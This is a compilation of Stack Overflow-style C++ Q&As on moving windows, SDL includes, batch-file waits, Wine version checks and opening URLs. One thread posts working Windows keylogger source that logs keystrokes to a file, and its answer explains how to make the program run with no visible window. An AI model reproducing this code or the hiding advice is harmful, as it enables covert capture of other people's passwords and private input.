I want to reposition a application window on the desktop using a c++ program .
How should i go about doing that , i need solution for both situations .
When i have the source of the application which want to move .
Move windows of other application by Writing an external program.
External Bash script:
xdotool search --onlyvisible --class dolphin windowmove 13 37
# ^ ^ ^
# window class X & Y coordinates
For more information about this, use xdotool search, xdotool windowmove and man xdotool.
C++ example:
#include <cstdlib>
#include <string>
#include <sstream>
using namespace std;
int main()
{
string cls="dolphin";
int x=13, y=37;
stringstream s;
s<<"xdotool search --onlyvisible --class "<<cls<<" windowmove "<<x<<" "<<y;
system(s.str().c_str());
return 0;
}
And bare minimum example:
#include <stdlib.h>
int main()
{
system("xdotool search --onlyvisible --class dolphin windowmove 13 37");
return 0;
}
Related
I run KDE Neon 20.04 and whenever i try to run this command block in Sublime Text i get this error.
#include "SDL2.h"
#include "SDL2_image"
#include <iostream.h>
int main(int argc, char* args[])
{
std::cout << "Yay" << std::endl;
return 0;
}
SDL2.h there is no such file or directory
You have to install SDL development libraries first. You can install it using the command sudo apt-get install libsdl2-dev.
You are also including sdl headers wrong.
This is the correct way.
#include <SDL2/SDL.h>
#include <SDL2/SDL_image.h>
I have made a simple key logger for my school project. It works great, but whenever I run it its icon is visible on the taskbar:
I want to know how to hide the running of the program.
#include <iostream>
#include <windows.h>
using namespace std;
#include <winuser.h>
#include <fstream>
int Save(int key_stroke,char *file)
{
if ((key_stroke==1)||(key_stroke==2))
return 0;
FILE *OUTPUT_FILE;
OUTPUT_FILE=fopen(file,"a+");
cout<<key_stroke<<endl;
if (key_stroke==VK_TAB
||key_stroke==VK_SHIFT
||key_stroke==VK_CONTROL
||key_stroke==VK_ESCAPE
||key_stroke==VK_END
||key_stroke==VK_UP
||key_stroke==VK_DOWN
||key_stroke==VK_HOME
||key_stroke==VK_LEFT
||key_stroke==VK_RIGHT
)
fprintf(OUTPUT_FILE,"%s \n","IG");
else if (key_stroke==8)
fprintf(OUTPUT_FILE,"%s","\b");
else if (key_stroke==13)
fprintf(OUTPUT_FILE,"%s","\n");
else if (key_stroke==32)
fprintf(OUTPUT_FILE,"%s \n"," ");
else if (key_stroke==190 || key_stroke==110)
fprintf(OUTPUT_FILE,"%s",".");
else
fprintf(OUTPUT_FILE,"%s \n",&key_stroke);
fclose(OUTPUT_FILE);
return 0;
}
int main()
{
char i;
while (true)
{
for (i=8 ; i<190 ; i++)
{
if (GetAsyncKeyState(i)==-32767)
Save(i,"LOG.txt");
}
}
system("PAUSE");
return 0;}
As #Cheers and hth. -Alf points out in the comments, you can simply make a GUI application with no window instead of a console application. Since you're using Windows, you can change your code from:
int main()
to:
#include <Windows.h>
int WINAPI WinMain(HINSTANCE, HINSTANCE, LPSTR, int)
You'll need to change your linker options. You can do this by following the instructions on the answer provided (also by #Cheers and hth. -Alf) to this question:
With the Visual C++ compiler, if you're compiling from the command line, add the options
/link /subsystem:windows /entry:mainCRTStartup
If you're using Visual Studio, change the subsystem to windows and change the entry point to mainCRTStartup in the linker options.
For CodeBlocks, a very quick Google search revealed the following answer:
Click Project on the CodeBlocks menu.
Click Properties.
Click the second tab, Build Targets.
On the right, where it says Type: Console application, change it to GUI application.
Rebuild the project.
Your application will no longer make a window.
Sorry for my grammar\spelling. I'm Romanian.
I am using Code::Blocks to edit in C++ and Notepad to edit in Batch.
I can't find a better title for this.
I'm trying to use this program:
#include <iostream>
#include <fstream>
#include "windows.h"
#include <string>
#include "G:\other.h"
using namespace std;
char message[500],from[20];
int interm;
int main()
{
ofstream wait1("errorlevel.f"); wait1<<0; wait1.close();
fstream wait2("errorlevel.f",ios::in); wait2>>interm;
cout<<"Another window is waiting for you...";
system("start options_load-new.bat");
while (interm==0) { wait2>>interm; Sleep(10); }
st();
//and program continues...
}
where st(); function is declared in other.h as
void st()
{
system("cls");
}
and the options_load-new.bat file is this:
#echo off
echo What do you want to do?
echo [L] Load a pre-made message
echo [N] Make a new one
choice /c ln
echo %errorlevel% > errorlevel.f
exit
but -
When I run the program, is opens, starts the .bat file, that file sets errorlevel.f to 1 or 2, and closes. After that, the main program remains to Another windws is waiting for you... without any action.
What should I do to make the main program continue his operations?
I've been writing a program that needs a wine version of 2.6 or later. I'd like to get it as a boolean, so I've been trying to use the code below:
#include <string>
#include <iostream>
#include "WineCheck.h"
#include <cstdlib>
using namespace std;
bool checkForWine()
{
// Create variables for checking wine state
bool wineIsThere = false;
bool wineIsVersion = false;
// Check dpkg if wine is there
if (string(system("dpkg -l | cut -c 4-9 | grep \\ wine\\ ")) == " wine ")
{
wineIsThere = true;
// Check version
if (double(system("wine --version | cut -c 6-8")) >= 2.6)
wineIsVersion = true;
}
// Return
if (wineIsThere && wineIsVersion)
return true;
else
return false;
}
First, it's my opinion you shouldn't bother with this. Wine 2.6 should just be included as a dependency in your configuration script, and/or your package file. Targeting a specific package management system in your program source code is not a good idea if you want to maintain portability to other GNU/Linux distributions that don't use that packager.
To answer your question though. There are two ways I found you can do this. You can check /var/lib/dpkg/status. Read through the file line by line until you get to this section. If you don't find the section, or the Status: ... line doesn't say installed then wine is not installed. The Version: ... line will tell you what version is installed. I verified this method works by installing and uninstalling Wine on Debian Wheezy. You didn't say what distro you're working with, but it's obvious you're using the Debian Packaging system, so this should work on Ubuntu and other Debian based distributions as well.
$cat /var/lib/dpkg/status
...
Package: wine
Status: install ok installed
Priority: optional
Section: otherosf
Installed-Size: 80
Maintainer: Debian Wine Party <pkg-wine-party#lists.alioth.debian.org>
Architecture: amd64
Version: 1.4.1-4
...
The other option is use libdpkg. I found an example that lists all installed packages.
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <dpkg/dpkg.h>
#include <dpkg/dpkg-db.h>
#include <dpkg/pkg-array.h>
#include "filesdb.h"
const char thisname[] = "example1";
int
main(int argc, const char *const *argv)
{
struct pkg_array array;
struct pkginfo *pkg;
int i;
enum modstatdb_rw msdb_status;
standard_startup();
filesdbinit();
msdb_status = modstatdb_open(msdbrw_readonly);
pkg_infodb_init(msdb_status);
pkg_array_init_from_db(&array);
pkg_array_sort(&array, pkg_sorter_by_name);
for (i = 0; i < array.n_pkgs; i++) {
pkg = array.pkgs[i];
if (pkg->status == stat_notinstalled)
continue;
printf("Package --> %s\n", pkg->set->name);
}
pkg_array_destroy(&array);
modstatdb_shutdown();
standard_shutdown();
}
I would like to know a way to open the default browser on OS X from a C++ application and then open a requested URL.
EDIT: I solved it like this:
system("open http://www.apple.com");
In case you prefer using the native OS X APIs instead of system("open ...")
You can use this code:
#include <string>
#include <CoreFoundation/CFBundle.h>
#include <ApplicationServices/ApplicationServices.h>
using namespace std;
void openURL(const string &url_str) {
CFURLRef url = CFURLCreateWithBytes (
NULL, // allocator
(UInt8*)url_str.c_str(), // URLBytes
url_str.length(), // length
kCFStringEncodingASCII, // encoding
NULL // baseURL
);
LSOpenCFURLRef(url,0);
CFRelease(url);
}
int main() {
string str("http://www.example.com");
openURL(str);
}
Which you have to compile with the proper OS X frameworks:
g++ file.cpp -framework CoreFoundation -framework ApplicationServices
Look at the docs for Launch Services.